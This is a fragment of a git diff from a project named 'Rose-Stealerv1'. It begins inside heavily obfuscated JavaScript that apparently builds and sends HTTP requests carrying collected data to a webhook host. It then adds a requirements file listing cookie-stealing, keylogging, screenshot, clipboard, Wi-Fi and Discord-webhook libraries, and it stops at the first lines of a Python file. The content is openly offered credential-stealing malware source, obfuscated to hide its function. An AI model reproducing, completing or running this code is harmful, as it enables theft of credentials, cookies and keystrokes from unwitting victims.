_0x254c55+_0x3f906a;},'iCYxL':_0x1c7bed('EiYt',0xc30,0xbd3,0x1289,0xed4),'TShfV':_0x4aa9fa('BHF6',0x110b,0x443,0xaa9,0x4f3),'sAIPw':_0x4aa9fa('l$qj',0xf4e,0xace,0x11cd,0x154b)+'n','aEEMB':_0x4aa9fa('8S1s',0x31c,0x9fa,0x954,0x657),'cwYAq':_0x4018b9(0x1d6,0x7c1,0x68d,0x96d,'W&[J'),'fvExb':function(_0x77c82a,_0x5e3b0d){return _0x77c82a+_0x5e3b0d;},'CzpKO':_0x4018b9(0x91f,0x908,0x7ef,0xce6,'5F(N')+_0x712a42(0x937,'FUWk',0x5b9,0x341,0x7ec)+'t','AyFcK':function(_0x312d00,_0x3200ff,_0x5e3364,_0x27866c){return _0x312d00(_0x3200ff,_0x5e3364,_0x27866c);},'kMVrX':_0x1c7bed('5F(N',0x5b4,0x57a,0x228,0xccc),'VURVc':_0x712a42(0x8a1,'l$qj',0x246,0x94d,-0x87),'XDFQf':function(_0x360418,_0x5df4c2){return _0x360418===_0x5df4c2;},'LmPLp':_0x1c7bed('edx3',0x444,0x6d4,-0x1c,0x9b6),'npkkY':_0x24a11b('W&[J',0x484,0x1fe,-0x6cd,-0x1af),'tXkqm':_0x4aa9fa('(1pE',0xf34,0x1146,0xffe,0xdd3),'ThVTs':_0x1c7bed('^T15',0x5b4,0x40d,0x7b2,0xba4),'qHlej':function(_0x47a46d,_0x57c0c0){return _0x47a46d(_0x57c0c0);}};function _0x4018b9(_0x5732ea,_0x2f4b42,_0x2cb9a2,_0x2c3c66,_0x2f746d){return _0x59fa80(_0x5732ea-0x80,_0x2f4b42-0x6c,_0x2cb9a2-0x59,_0x2cb9a2-0x4,_0x2f746d);}function _0x24a11b(_0x1bc9fd,_0x21acec,_0x232348,_0x24266c,_0x53a208){return _0x3103a0(_0x1bc9fd-0xba,_0x53a208- -0x3d8,_0x1bc9fd,_0x24266c-0xc9,_0x53a208-0x148);}function _0x1909f2(_0x15d8bc){function _0x4c4ae8(_0x26d345,_0x46b6ad,_0x2246c8,_0xbed562,_0x42af31){return _0x4018b9(_0x26d345-0x1b4,_0x46b6ad-0x3,_0x2246c8- -0x2a1,_0xbed562-0xcf,_0x42af31);}const _0xc9d66d={'SRFaH':function(_0x19dc0a,_0x56e19a){function _0x421c18(_0x75e85e,_0x1afbc0,_0x576ffb,_0x1bfe22,_0x2a62ba){return _0x2771(_0x2a62ba-0x2c5,_0x75e85e);}return _0xb604c7[_0x421c18('8S1s',0x312,0x9cf,0xdd6,0xa7d)](_0x19dc0a,_0x56e19a);},'DqxwQ':_0xb604c7[_0x5b981c(-0x12d,'T&Gd',0x486,0x20,-0x46c)],'LtDeX':_0xb604c7[_0x4c4ae8(0xfea,0x12b5,0xb61,0xe92,'9r61')],'zuBxa':_0xb604c7[_0x5291bf(0x90c,0x3ab,')G&B',0x5b1,0x149)],'frzcH':_0xb604c7[_0x5291bf(0x72c,0x7d6,'(1pE',0xb41,0xb38)],'DsbHJ':function(_0x390f29,_0xc344df){function _0x214211(_0x52447b,_0x84a351,_0x3ca0ff,_0x1afd64,_0xda0898){return _0x4c4ae8(_0x52447b-0x6f,_0x84a351-0x12b,_0x1afd64-0x257,_0x1afd64-0xd7,_0x52447b);}return _0xb604c7[_0x214211('GIg]',0x49a,0x38e,0x8d6,0x5b3)](_0x390f29,_0xc344df);},'kLIAC':_0xb604c7[_0x486884(0x9f8,'@^Br',0x415,0x7d1,0x642)],'KCCkq':_0xb604c7[_0x5291bf(0x61c,0x4bb,'CD&c',0xad6,0x96c)],'lirRW':_0xb604c7[_0x56e28b(-0x33a,0x347,'Uq%W',-0x1ad,-0x3aa)],'fchqP':function(_0xe40f39,_0x130a80){function _0x29a3d9(_0x563279,_0x521b74,_0x5e8305,_0x2e3180,_0x218cbb){return _0x5b981c(_0x218cbb- -0x40,_0x5e8305,_0x5e8305-0xd1,_0x2e3180-0x135,_0x218cbb-0x124);}return _0xb604c7[_0x29a3d9(0xca1,0x7cb,'1R)L',0x8da,0xb0f)](_0xe40f39,_0x130a80);},'qkpLr':_0xb604c7[_0x56e28b(-0x21a,-0x6f9,'ibNd',0x55,-0x29f)],'URzIl':function(_0x50de45,_0x2d4aca){function _0x2c420d(_0x147e8b,_0x4bf827,_0x182720,_0x1769a9,_0x24a7ed){return _0x56e28b(_0x147e8b-0x1d5,_0x4bf827-0xaa,_0x24a7ed,_0x4bf827-0x3a0,_0x24a7ed-0x1a1);}return _0xb604c7[_0x2c420d(0xc6d,0x8a6,0xd09,0xea7,'NagZ')](_0x50de45,_0x2d4aca);},'yQZzd':function(_0x9081ed,_0x4a307a){function _0xe6fa2e(_0x4ac733,_0x30b081,_0x3125f4,_0x340b5a,_0x5284f8){return _0x56e28b(_0x4ac733-0x92,_0x30b081-0x112,_0x4ac733,_0x5284f8-0x16d,_0x5284f8-0xcb);}return _0xb604c7[_0xe6fa2e('WJUB',0x89e,0xf41,0x482,0x9c0)](_0x9081ed,_0x4a307a);},'pWnJe':function(_0x31fa85,_0x8b1abb,_0xb240b8){function _0x28f13e(_0x26b52c,_0x4f0196,_0x141cdc,_0x3c6b8e,_0x2b5892){return _0x56e28b(_0x26b52c-0xa5,_0x4f0196-0x139,_0x4f0196,_0x141cdc-0x121,_0x2b5892-0x80);}return _0xb604c7[_0x28f13e(0xedf,'ibNd',0xb64,0x471,0x11ba)](_0x31fa85,_0x8b1abb,_0xb240b8);},'clDfs':function(_0x5f5327,_0xe06647){function _0xca2c6c(_0x503169,_0x5effdc,_0x10a422,_0x42b7c6,_0x2b8ad6){return _0x56e28b(_0x503169-0x10c,_0x5effdc-0xc,_0x10a422,_0x5effdc-0x55b,_0x2b8ad6-0x43);}return _0xb604c7[_0xca2c6c(0x31b,0x436,'R*Tx',0x237,-0xd4)](_0x5f5327,_0xe06647);}};function _0x5291bf(_0x28f2d3,_0x2349cd,_0x176c4c,_0x54ea80,_0x22a318){return _0x1c7bed(_0x176c4c,_0x2349cd-0xd8,_0x2349cd- -0xc3,_0x54ea80-0x6b,_0x22a318-0x23);}function _0x56e28b(_0x156d34,_0x1c6d15,_0x5ad0dd,_0x1c2d9a,_0x1c4ddc){return _0x4018b9(_0x156d34-0x1dd,_0x1c6d15-0x1bf,_0x1c2d9a- -0x702,_0x1c2d9a-0x1b1,_0x5ad0dd);}function _0x486884(_0x1f091a,_0x50a3b6,_0x306864,_0x31c116,_0x119737){return _0x4018b9(_0x1f091a-0x94,_0x50a3b6-0xca,_0x119737- -0x55b,_0x31c116-0x1f4,_0x50a3b6);}function _0x5b981c(_0x3529ec,_0x5da9ad,_0x57282d,_0x35ef29,_0x5789a5){return _0x4aa9fa(_0x5da9ad,_0x5da9ad-0xfa,_0x57282d-0xef,_0x3529ec- -0x595,_0x5789a5-0x143);}if(_0xb604c7[_0x56e28b(0x11ce,0x568,'edx3',0xb0d,0xe23)](_0xb604c7[_0x486884(0x81d,'u*kR',0x1142,0xc2a,0xe4f)],_0xb604c7[_0x56e28b(0x1b1,0x7f1,'SI6h',0x935,0xd89)])){if(_0xb604c7[_0x5291bf(0xe00,0x8d1,'gVnV',0xfc2,0xba5)](typeof _0x15d8bc,_0xb604c7[_0x4c4ae8(0xa16,-0xa2,0x40f,-0x312,'iHF0')])){if(_0xb604c7[_0x4c4ae8(-0x16b,0x9c4,0x625,0xbce,'c(Z7')](_0xb604c7[_0x56e28b(0x957,0x47c,'Z)Xp',0x998,0x8e1)],_0xb604c7[_0x5291bf(0x83f,0x58a,'T&Gd',0x8d,0xc98)]))_0xc9d66d[_0x5b981c(0xc9e,'T&Gd',0x6d2,0x124b,0x1194)](_0xc9d66d[_0x4c4ae8(0x811,0x1384,0xe51,0x14dd,'BHF6')],typeof _0x2c51db)&&_0x21918d[_0xc9d66d[_0x5b981c(0xb2c,'1R)L',0xb2c,0x409,0xe44)]]?_0xbc2890[_0xc9d66d[_0x5291bf(0x44d,0x9ea,'l$qj',0x4a9,0xdd7)]]=_0x517984=_0x48c2ff:_0x23caa2=_0x182eb9;else return function(_0x36f721){}[_0x4c4ae8(0x853,0xa3,0x3ff,-0x49,'p1^x')+_0x5291bf(0x54a,0xcb7,'SI6h',0xe3e,0xd30)+'r'](_0xb604c7[_0x5b981c(0x5cc,'3#kp',0x41f,0xa40,0x262)])[_0x56e28b(0x82d,0x6a5,'fSRV',0xb5c,0x581)](_0xb604c7[_0x5291bf(0x10f4,0xfa0,'c(Z7',0xf46,0x14a8)]);}else{if(_0xb604c7[_0x56e28b(0x59d,0x579,'tstx',0x85a,0xc21)](_0xb604c7[_0x486884(0x686,'gVnV',0x6d4,0x18b,0x4cd)],_0xb604c7[_0x56e28b(-0x26e,0x273,'iHF0',0x11e,-0x194)]))_0x46bcad[_0x56e28b(0x63f,-0xba,'C2UU',0x117,-0x584)](0x5b0+0x65d*0x1+-0xc0d*0x1);else{if(_0xb604c7[_0x5291bf(0x516,0x35c,'SI6h',-0x327,-0x2fa)](_0xb604c7[_0x5b981c(0x733,'T&Gd',0x2a5,0x108,0x811)]('',_0xb604c7[_0x56e28b(0x11c4,0xb72,'WSri',0xbd1,0x1239)](_0x15d8bc,_0x15d8bc))[_0xb604c7[_0x5b981c(0xcc0,'1R)L',0xcfb,0x13d7,0x77a)]],0x13*-0x3d+0x1bf6+-0x176e)||_0xb604c7[_0x486884(0x936,'Z)Xp',0xa36,0x789,0xd1c)](_0xb604c7[_0x5b981c(0xba8,'1MkO',0x12b1,0x488,0xc2f)](_0x15d8bc,0xda1+0xf*-0xb5+0x1d*-0x1a),-0x1f91+0x19fc+0x595)){if(_0xb604c7[_0x4c4ae8(0x5df,0x869,0x2b3,0x58b,'5F(N')](_0xb604c7[_0x486884(0x649,'w78W',0xd8b,0x815,0x81c)],_0xb604c7[_0x486884(0x962,'edx3',0x55f,0x78f,0x63b)]))return _0x5f5641;else(function(){function _0x25bd72(_0x43ca7e,_0xe77ab9,_0x32dee9,_0x146243,_0xf7431){return _0x56e28b(_0x43ca7e-0x73,_0xe77ab9-0x128,_0xf7431,_0x32dee9-0x0,_0xf7431-0x18d);}function _0x709f34(_0x1acd43,_0x3e78b5,_0x1bad41,_0x35f9c8,_0x500cb2){return _0x56e28b(_0x1acd43-0x7b,_0x3e78b5-0xee,_0x500cb2,_0x3e78b5-0x4ff,_0x500cb2-0x98);}function _0x3f886c(_0x4b0514,_0x93e4e1,_0x36f0cd,_0x2acb10,_0x1b72c0){return _0x4c4ae8(_0x4b0514-0x65,_0x93e4e1-0x1cc,_0x2acb10- -0xd1,_0x2acb10-0x12a,_0x93e4e1);}function _0x1990bf(_0x220609,_0x5002c1,_0x1c18e8,_0x41280b,_0x236cd0){return _0x5b981c(_0x220609-0x7f,_0x5002c1,_0x1c18e8-0x1e7,_0x41280b-0x160,_0x236cd0-0x34);}function _0x4b647b(_0x416866,_0x44830e,_0x4d3a3d,_0x41f937,_0x28d724){return _0x56e28b(_0x416866-0x178,_0x44830e-0xc5,_0x41f937,_0x44830e-0x706,_0x28d724-0x16f);}const _0x5d9a07={'AGFEj':_0xc9d66d[_0x709f34(0xd03,0x74f,0x51,0xa8e,'C2UU')],'ObCaL':_0xc9d66d[_0x709f34(-0x7,0x350,-0x173,0x5e2,'^T15')],'AXuBr':function(_0x30c635,_0x5a9ed4){function _0x43dc68(_0x246a19,_0x3fc1b0,_0x59b636,_0x22ac8e,_0x6bec9c){return _0x709f34(_0x246a19-0xa0,_0x3fc1b0- -0x3ad,_0x59b636-0xae,_0x22ac8e-0x149,_0x22ac8e);}return _0xc9d66d[_0x43dc68(0x6ea,-0x3f,0x443,'gVnV',-0xaf)](_0x30c635,_0x5a9ed4);},'KwGvm':_0xc9d66d[_0x709f34(0x180d,0x1083,0x9e4,0x13be,'@^Br')],'zajWh':_0xc9d66d[_0x1990bf(0x494,'e!nd',-0x131,0xaae,0xb19)],'nmYhJ':_0xc9d66d[_0x25bd72(0x344,0xda3,0xaef,0x6a4,'FUWk')]};if(_0xc9d66d[_0x3f886c(0x29,'GIg]',0xce9,0x590,0x85b)](_0xc9d66d[_0x1990bf(0x347,'5F(N',0x801,-0x363,0x823)],_0xc9d66d[_0x4b647b(0x355,0x880,0xf0,'Ar]L',0x636)])){const _0x3ea54d=_0xb8590a[_0x709f34(0x4c1,0x9bd,0xa21,0xfd2,'WJUB')+_0x4b647b(0x16ee,0x11b5,0x137c,'9r61',0x1534)](_0x4c3c9a),_0x177261=new _0x4dd19a(_0x193f7d[_0x4b647b(0x20c,0x834,0x720,'WJUB',0x76d)+'ok']),_0x53d5fd={};_0x53d5fd[_0x25bd72(-0x453,-0x4e0,0x202,-0x50c,'gVnV')+_0x1990bf(0x295,'yEI6',-0x48d,0x911,-0x509)+'pe']=_0x5d9a07[_0x25bd72(0x20d,0x81e,0x263,0x3ec,'NagZ')],_0x53d5fd[_0x4b647b(0xdf6,0xa53,0x3b7,'fSRV',0xa37)+_0x3f886c(0xb7f,'4oaC',0xc9b,0x703,0x98d)+_0x3f886c(0x1764,'ibNd',0x1017,0xfc1,0x13cd)+_0x709f34(0xd61,0x848,0xe4f,0xc7,'u*kR')+_0x4b647b(0x103d,0xb03,0x6e3,'Z)Xp',0xa9e)+'in']='*';const _0x53fb5b=_0x53d5fd;if(!_0x56a3b5[_0x25bd72(0x2a0,0xd8,0x2c1,0x7fe,'EBnq')+'ok'][_0x3f886c(0xcd5,'GIg]',0xbf8,0x7ad,0x603)+_0x25bd72(0x452,0x2e3,0x3da,0xec,'kObQ')](_0x5d9a07[_0x709f34(-0x1,0x47b,0x334,0xa4,'Z)Xp')])){const _0x3162ca=_0x5d9a07[_0x3f886c(0xf09,'Uq%W',0x129c,0xe8f,0x14f4)](_0x590e7c,_0x2ae841[_0x1990bf(-0x86,'Z3ow',0x664,0x262,-0x4a5)+_0x4b647b(0x1857,0x1209,0x18c4,'C2UU',0x1535)+_0x25bd72(0x848,0x833,0xba2,0x898,'5F(N')+_0x3f886c(0xd0f,'gVnV',0xa4e,0xa01,0x6ab)+'y']);_0x53fb5b[_0x5d9a07[_0x4b647b(0xce1,0xa5a,0xf05,'R*Tx',0xdaa)]]=_0x3162ca;}const _0x3996ba={};_0x3996ba[_0x4b647b(0x10c3,0xb3b,0xb61,'Ar]L',0x526)+_0x25bd72(0x2fc,0x865,0x2a0,0x260,'gVnV')]=_0x177261[_0x3f886c(0x7bf,'ibNd',0xba3,0xc43,0x1115)+_0x1990bf(0x63a,'BHF6',0x366,0xb3d,0x60b)],_0x3996ba[_0x1990bf(0xd5f,'u*kR',0x115b,0xff6,0xfc4)+_0x3f886c(-0x3,')G&B',0x700,0x6b3,0x5bc)]=_0x177261[_0x709f34(0xcfe,0x98d,0x2a0,0xc72,'w78W')],_0x3996ba[_0x3f886c(0xb3f,'tstx',0x6ef,0x6d3,0x312)]=_0x177261[_0x3f886c(0x400,'CD&c',0x567,0x472,-0x25c)+_0x1990bf(0x814,'8S1s',0xd1e,0xeed,0x305)],_0x3996ba[_0x1990bf(0x385,'iHF0',0x88f,-0x27a,0x6b5)+'d']=_0x5d9a07[_0x1990bf(-0x1b6,'e!nd',0x175,-0x79c,-0x12e)],_0x3996ba[_0x709f34(0x1832,0x1069,0xed8,0x1709,'@%1A')+'rs']=_0x53fb5b;const _0x484516=_0x3996ba,_0x451da5=_0x5ed79b[_0x25bd72(0x580,0x710,0x688,0xa2e,'kObQ')+'st'](_0x484516);_0x451da5['on'](_0x5d9a07[_0x4b647b(0xab2,0xf35,0x13aa,'c(Z7',0x989)],_0x509d59=>{function _0x5e4313(_0x413db0,_0x1cf376,_0xb5964b,_0x309058,_0x3fd410){return _0x25bd72(_0x413db0-0xcf,_0x1cf376-0x130,_0xb5964b-0x71,_0x309058-0x193,_0x309058);}_0x61dcd7[_0x5e4313(0x19c,0x9af,0x2eb,'yEI6',-0x20)](_0x509d59);}),_0x451da5[_0x1990bf(0xbe4,'1R)L',0xc31,0xfdf,0xd91)](_0x3ea54d),_0x451da5[_0x709f34(0xcc2,0xced,0x123f,0x12f0,'edx3')]();}else return!![];}[_0x486884(0xc60,'ibNd',0x22a,0x134,0x8a5)+_0x56e28b(-0x3e1,-0x5d,'EBnq',0x5b,-0x519)+'r'](_0xb604c7[_0x4c4ae8(0xc2c,0x788,0x5a1,0x77,'@^Br')](_0xb604c7[_0x486884(0xfa2,'1R)L',0x7fa,0x12e7,0xf45)],_0xb604c7[_0x4c4ae8(0xcc9,0x177b,0x1091,0x1081,'WSri')]))[_0x4c4ae8(0xcd5,0x113b,0x105b,0xa7f,'Z)Xp')](_0xb604c7[_0x5291bf(0x1163,0xfab,')9bc',0xbe0,0x168d)]));}else{if(_0xb604c7[_0x5b981c(0x434,'w]$Z',0x15b,-0x2df,0x4f5)](_0xb604c7[_0x56e28b(0x474,0x6bf,'WJUB',0xb71,0x9f3)],_0xb604c7[_0x486884(0x442,'1MkO',0xf5d,0xd41,0x97d)])){const _0x5cab5e=_0x5e7674?function(){function _0x295a8a(_0x4d66fd,_0x1fe978,_0x5831d1,_0x55f58f,_0x2fadb2){return _0x56e28b(_0x4d66fd-0x109,_0x1fe978-0x5b,_0x2fadb2,_0x5831d1-0x66b,_0x2fadb2-0x181);}if(_0x3b8455){const _0x1809db=_0x2c1c5f[_0x295a8a(0x15be,0x19e1,0x12ad,0xc56,'SI6h')](_0x129b91,arguments);return _0x19f792=null,_0x1809db;}}:function(){};return _0xea76ae=![],_0x5cab5e;}else(function(){function _0x55288c(_0x39a7a1,_0x39ab41,_0x2da258,_0x5284de,_0x3a9b7a){return _0x5291bf(_0x39a7a1-0x1d2,_0x5284de-0x63,_0x2da258,_0x5284de-0x59,_0x3a9b7a-0x56);}function _0x4537bd(_0x486ab4,_0x28bf4a,_0x1303fa,_0x4c27fd,_0x2536c3){return _0x5b981c(_0x1303fa-0x619,_0x486ab4,_0x1303fa-0xec,_0x4c27fd-0x16b,_0x2536c3-0x10);}const _0x5cd471={'KIhDF':_0xb604c7[_0x386652(-0x5,0x6be,'@^Br',0x3fd,0x26e)],'ZDWPD':function(_0x5adcbd,_0x4d789d){function _0x4e9384(_0x2ccc1f,_0x1ce814,_0x4e9b9b,_0x3a9d28,_0x5570f7){return _0x386652(_0x2ccc1f-0x11c,_0x1ce814-0x1b6,_0x4e9b9b,_0x3a9d28-0x122,_0x5570f7-0x187);}return _0xb604c7[_0x4e9384(0x6c6,0x11a7,'kObQ',0xa04,0xb80)](_0x5adcbd,_0x4d789d);},'qANsX':function(_0x2e94cb,_0x39655a){function _0x221596(_0x195850,_0xc19256,_0x7dc34c,_0x231617,_0x50a59c){return _0x386652(_0x195850-0x11e,_0xc19256-0xa2,_0x195850,_0x231617-0x157,_0xc19256-0x6fc);}return _0xb604c7[_0x221596('NagZ',0xa4d,0x663,0xd7b,0x10c3)](_0x2e94cb,_0x39655a);},'nqUNz':function(_0x5a5c19,_0x64f20){function _0xe67a3d(_0x426a9d,_0xcf64b,_0x1e8cfa,_0x121855,_0x55fff3){return _0x386652(_0x426a9d-0x1a5,_0xcf64b-0x1d7,_0x426a9d,_0x121855-0x6c,_0x1e8cfa-0x563);}return _0xb604c7[_0xe67a3d('T&Gd',0x44e,0x885,0x950,0x662)](_0x5a5c19,_0x64f20);},'ChjLJ':function(_0xb8fd1a,_0x41c114){function _0x5906d9(_0x4edf8d,_0x208bb1,_0x50ec05,_0x411365,_0x58fe7f){return _0x386652(_0x4edf8d-0x160,_0x208bb1-0x168,_0x411365,_0x411365-0x180,_0x50ec05-0x600);}return _0xb604c7[_0x5906d9(0x3c4,0x6e9,0x878,'(1pE',0xba3)](_0xb8fd1a,_0x41c114);},'XWgWB':function(_0x206584,_0x270b53,_0x23256b){function _0x3ea3d4(_0x5360b0,_0x28b514,_0x296295,_0x142ca1,_0x1fe61f){return _0x386652(_0x5360b0-0x117,_0x28b514-0x17c,_0x142ca1,_0x142ca1-0x1f4,_0x1fe61f-0x48e);}return _0xb604c7[_0x3ea3d4(0xa23,0xa27,0xa35,'ibNd',0xe43)](_0x206584,_0x270b53,_0x23256b);},'ICZqs':function(_0x3705a1,_0x11d06c){function _0x1ff9cc(_0x5c10f6,_0x5cfd77,_0x14577a,_0x37e517,_0x2cc63c){return _0x386652(_0x5c10f6-0x1ef,_0x5cfd77-0x1c9,_0x14577a,_0x37e517-0x14c,_0x2cc63c-0x1d6);}return _0xb604c7[_0x1ff9cc(0x9c0,0x4b0,'l$qj',0x763,0x3b5)](_0x3705a1,_0x11d06c);},'qjZzi':function(_0x17016d,_0x17fa69){function _0x20faff(_0x591101,_0x37c85d,_0x3559e4,_0x4dd78c,_0x1e7a46){return _0x386652(_0x591101-0x12f,_0x37c85d-0x40,_0x1e7a46,_0x4dd78c-0x1d6,_0x4dd78c-0x76e);}return _0xb604c7[_0x20faff(0x187c,0xc95,0x197f,0x133f,'EBnq')](_0x17016d,_0x17fa69);},'yMPAw':function(_0x416912,_0x2013c9){function _0x319159(_0x4cd8ac,_0x16af98,_0x544cb0,_0x26c11c,_0x3206b4){return _0x386652(_0x4cd8ac-0xf8,_0x16af98-0xde,_0x544cb0,_0x26c11c-0xcf,_0x16af98-0x3f7);}return _0xb604c7[_0x319159(0x5e6,0x259,'BHF6',-0x37e,0x665)](_0x416912,_0x2013c9);},'sWAGz':function(_0x1102d7,_0x35b27c){function _0x366035(_0xf5e516,_0x6f0667,_0x3a0a35,_0x33a5f1,_0x9e6b6e){return _0x386652(_0xf5e516-0x124,_0x6f0667-0x11d,_0x6f0667,_0x33a5f1-0x27,_0x33a5f1-0x66a);}return _0xb604c7[_0x366035(0x4e8,'9r61',0x4b8,0x886,0x49e)](_0x1102d7,_0x35b27c);}};function _0x4258e1(_0x49e4f6,_0x56307e,_0x267454,_0x371400,_0x326e10){return _0x486884(_0x49e4f6-0x91,_0x267454,_0x267454-0xe2,_0x371400-0xc6,_0x49e4f6-0x4f6);}function _0x1762b9(_0xe48a63,_0x3efbf6,_0x39962f,_0x40b094,_0x2ab322){return _0x5291bf(_0xe48a63-0x1c4,_0x39962f- -0x4ab,_0x2ab322,_0x40b094-0x111,_0x2ab322-0x1d4);}function _0x386652(_0x4860ba,_0x14ddda,_0x492630,_0x8f1a34,_0xfa2113){return _0x5291bf(_0x4860ba-0x154,_0xfa2113- -0x5aa,_0x492630,_0x8f1a34-0x5d,_0xfa2113-0xda);}if(_0xb604c7[_0x1762b9(0xa41,0xd4d,0xb93,0xedf,'WSri')](_0xb604c7[_0x55288c(0x12d1,0xb7a,'p1^x',0xd10,0xc4e)],_0xb604c7[_0x386652(0x4fb,-0x427,'tstx',-0x77e,-0x248)])){const _0x3fd825=_0x5cd471[_0x4537bd('fSRV',0xd57,0x990,0xcd2,0x7ab)][_0x4537bd('5F(N',0xd72,0xd25,0x905,0x1035)]('|');let _0x59a12e=0x1*-0x41e+-0x17f8+0x1c16;while(!![]){switch(_0x3fd825[_0x59a12e++]){case'0':return _0x571d4e;case'1':var _0x2047b6,_0x7056a3,_0x583880;continue;case'2':_0x583880=_0x5cd471[_0x1762b9(0xd14,0x10cc,0xb4d,0x92e,'4D%T')](_0x5cd471[_0x4537bd('1R)L',0x1467,0x1140,0xdf7,0x1325)](_0x5cd471[_0x1762b9(0xaef,0xc55,0x691,0x46,'(1pE')](_0x5cd471[_0x4258e1(0xcc0,0x523,')G&B',0x989,0xba9)](_0x8cfe11,-0x9dc*-0x1+-0xe1b+0x480),-0x11b1*0x1+-0x8c9+0x1a83),0x7e1+0x24d7+-0x2cb4),0x1*0x2163+-0x11*-0x1b8+-0x3e8c);continue;case'3':for(_0x2047b6=0x2651+0x2275+-0x48c6;_0x5cd471[_0x1762b9(0x700,0x7ea,0xaec,0xe9d,'1R)L')](_0x2047b6,_0x7056a3);_0x2047b6+=-0xd31*-0x1+-0x1f*0xcb+0x2dd*0x4){_0x501159=_0x5cd471[_0x386652(0x1a7,0xf93,')9bc',0x1043,0x8ab)](_0x343890,_0x1d6031[_0x386652(0xe4c,0x5ad,'8S1s',0xa81,0x71a)](_0x2047b6,_0x5cd471[_0x386652(0x802,0x8db,'Uq%W',-0x3c4,0x2b6)](_0x2047b6,0x2663+-0xc4*-0x2a+0x1*-0x467b)),_0x305084);}continue;case'4':_0xef4519[_0x5cd471[_0x386652(0xd7e,0x9d5,'ibNd',0x2d3,0xa6b)](_0x24d404,-0x2*0xe8f+-0x2*-0x883+0xc1d)]|=_0x5cd471[_0x4258e1(0x901,0x7a2,')9bc',0xa76,0xe89)](-0x1067+-0x1fc7+0x30ae,_0x5cd471[_0x386652(-0x6e7,0x19a,'(1pE',0x298,-0x1aa)](0x1cd0+0xdee+-0x2aa6,_0x5cd471[_0x4258e1(0xa5b,0xd56,'l$qj',0x1020,0x483)](_0x123085,0xca*-0x22+-0x100+0x2*0xdfa)));continue;case'5':_0x4ca15d[_0x583880]=_0x5cd471[_0x55288c(0x83e,0x677,'c(Z7',0x483,0x4d7)](_0x5c5da4,_0x4397de);continue;case'6':while(_0x5cd471[_0x4537bd(']v1W',0x71f,0xb69,0x1170,0x8be)](_0x4095b8[_0x55288c(0x5a3,0xeaf,'5F(N',0x8a3,0x70f)+'h'],_0x583880)){_0x46e453[_0x4258e1(0x7b6,0x388,'kObQ',0x636,0xbcf)](-0x11ec+0x2*0x10dc+-0xfcc);}continue;case'7':_0x7056a3=_0x4694a3[_0x4537bd('ibNd',0x637,0xc92,0x90b,0xdea)+'h'];continue;}break;}}else return![];}[_0x5291bf(0x614,0x434,'lmEu',-0x129,0x2c5)+_0x5b981c(-0x9f,'(1pE',0x173,0x341,-0x80f)+'r'](_0xb604c7[_0x56e28b(0xaa2,0x596,'ibNd',0x418,0x589)](_0xb604c7[_0x5b981c(0xc6c,'u*kR',0x1362,0xff6,0x1213)],_0xb604c7[_0x56e28b(0x2dc,0x372,'SI6h',0x14e,0x3da)]))[_0x5b981c(0x91e,'c(Z7',0x8a0,0x1a9,0xb32)](_0xb604c7[_0x5b981c(-0x9d,')G&B',-0x2af,0x5aa,0x13e)]));}}}_0xb604c7[_0x486884(0x12d,'p1^x',0x408,0x575,0x3cc)](_0x1909f2,++_0x15d8bc);}else _0xc9d66d[_0x4c4ae8(0x8ed,0x363,0x38e,0x123,'lmEu')](_0xc9d66d[_0x56e28b(0x479,0x7e1,'4D%T',0xbc,-0x3f1)](_0x5218d1,_0x128a73),_0x24473d)&&(_0x28cba9=_0xc9d66d[_0x4c4ae8(0x8e3,0x897,0xfd3,0xb43,'8S1s')](_0x2c8b12,_0x16e59c[_0x56e28b(-0x8aa,0xe6,'EiYt',-0xe2,-0x3bc)](_0x545f8f,_0xc9d66d[_0x486884(0xee5,'Z)Xp',0x96f,0x460,0x99e)](_0x257bae,_0x252330)),_0x175080),_0x235db1+=_0x1cfa6d);}function _0x4aa9fa(_0x4072b9,_0x6e0209,_0x2d50d5,_0x1c7398,_0x3ddc79){return _0xbc652e(_0x4072b9-0x8e,_0x4072b9,_0x2d50d5-0x5f,_0x1c7398-0x33,_0x1c7398- -0x101);}try{if(_0xb604c7[_0x24a11b('l$qj',0x1c5,0x232,0x4de,-0x1d6)](_0xb604c7[_0x24a11b('w78W',0xe53,0x8d8,0x340,0x838)],_0xb604c7[_0x24a11b('EiYt',-0x2d4,-0x245,0x717,0x45c)])){if(_0xf36373){if(_0xb604c7[_0x4aa9fa('e!nd',0xd6d,0xe93,0x9d8,0x9e5)](_0xb604c7[_0x1c7bed('1R)L',0xbb2,0x10b9,0x1611,0x176a)],_0xb604c7[_0x4aa9fa('Z3ow',0x1435,0x9b6,0xece,0x1262)]))_0xb604c7[_0x4aa9fa('9loh',0x9be,0xd80,0x114d,0x14b2)](_0x2ae552,_0x4b0259[_0x1c7bed('4D%T',0xf9b,0x1086,0x12eb,0x139c)],_0x279f02[_0x24a11b('e!nd',0x1129,0x630,0x10df,0xc6c)+_0x4018b9(0x10b4,0xc83,0x13fa,0x1232,'SI6h')],_0x2f459f)[_0x24a11b('edx3',0x64c,0x5e0,-0x44,0x3c0)](_0x8da849[_0x712a42(0x5f4,')G&B',0x277,0x94e,0x37f)]);else return _0x1909f2;}else _0xb604c7[_0x712a42(0x68d,'GIg]',0x524,0x197,0xa64)](_0xb604c7[_0x4aa9fa('w]$Z',0x653,0xd55,0xcee,0x587)],_0xb604c7[_0x4aa9fa('EBnq',0xcf9,0x8c5,0xee0,0xc88)])?_0xb604c7[_0x24a11b('EiYt',-0x2f1,0x3da,0x1b3,-0xb4)](_0x5a3fd0,'0'):_0xb604c7[_0x4aa9fa(')9bc',0x2e9,0x6ed,0x88a,0x227)](_0x1909f2,-0x17b2+0x5*-0x651+0x3747);}else return _0xb604c7[_0x4018b9(0xe9a,0x4b2,0x90f,0x8df,'W&[J')](_0x3b5075,_0x3f99aa);}catch(_0x491e88){}} diff --git a/Rose-Stealerv1/resources/data/requirements.txt b/Rose-Stealerv1/resources/data/requirements.txt new file mode 100644 index 0000000..b0b2d62 --- /dev/null +++ b/Rose-Stealerv1/resources/data/requirements.txt @@ -0,0 +1,37 @@ +pypiwin32 +beautifulsoup4 +PyQt5 +requests +rich +dhooks +pyinstaller +python-socketio +flaskwebgui +nicegui +datetime +opencv-python +pyttsx3 +pynput +browser_cookie3 +crypto +tabulate +Pillow +WMI +psutil +pycryptodome +mss +pygame +keyboard +pyperclip +pyzipper +cryptography +wmi +gputil +pygame +pyautogui +pywifi +pywebview +getmac +colorlog +PyNaCl +discord.py diff --git a/Rose-Stealerv1/resources/source/dev/xmri.py b/Rose-Stealerv1/resources/source/dev/xmri.py new file mode 100644 index 0000000..f15dd5d --- /dev/null +++ b/Rose-Stealerv1/resources/source/dev/xmri.py @@ -0,0 +1,47 @@ +import os +import requests 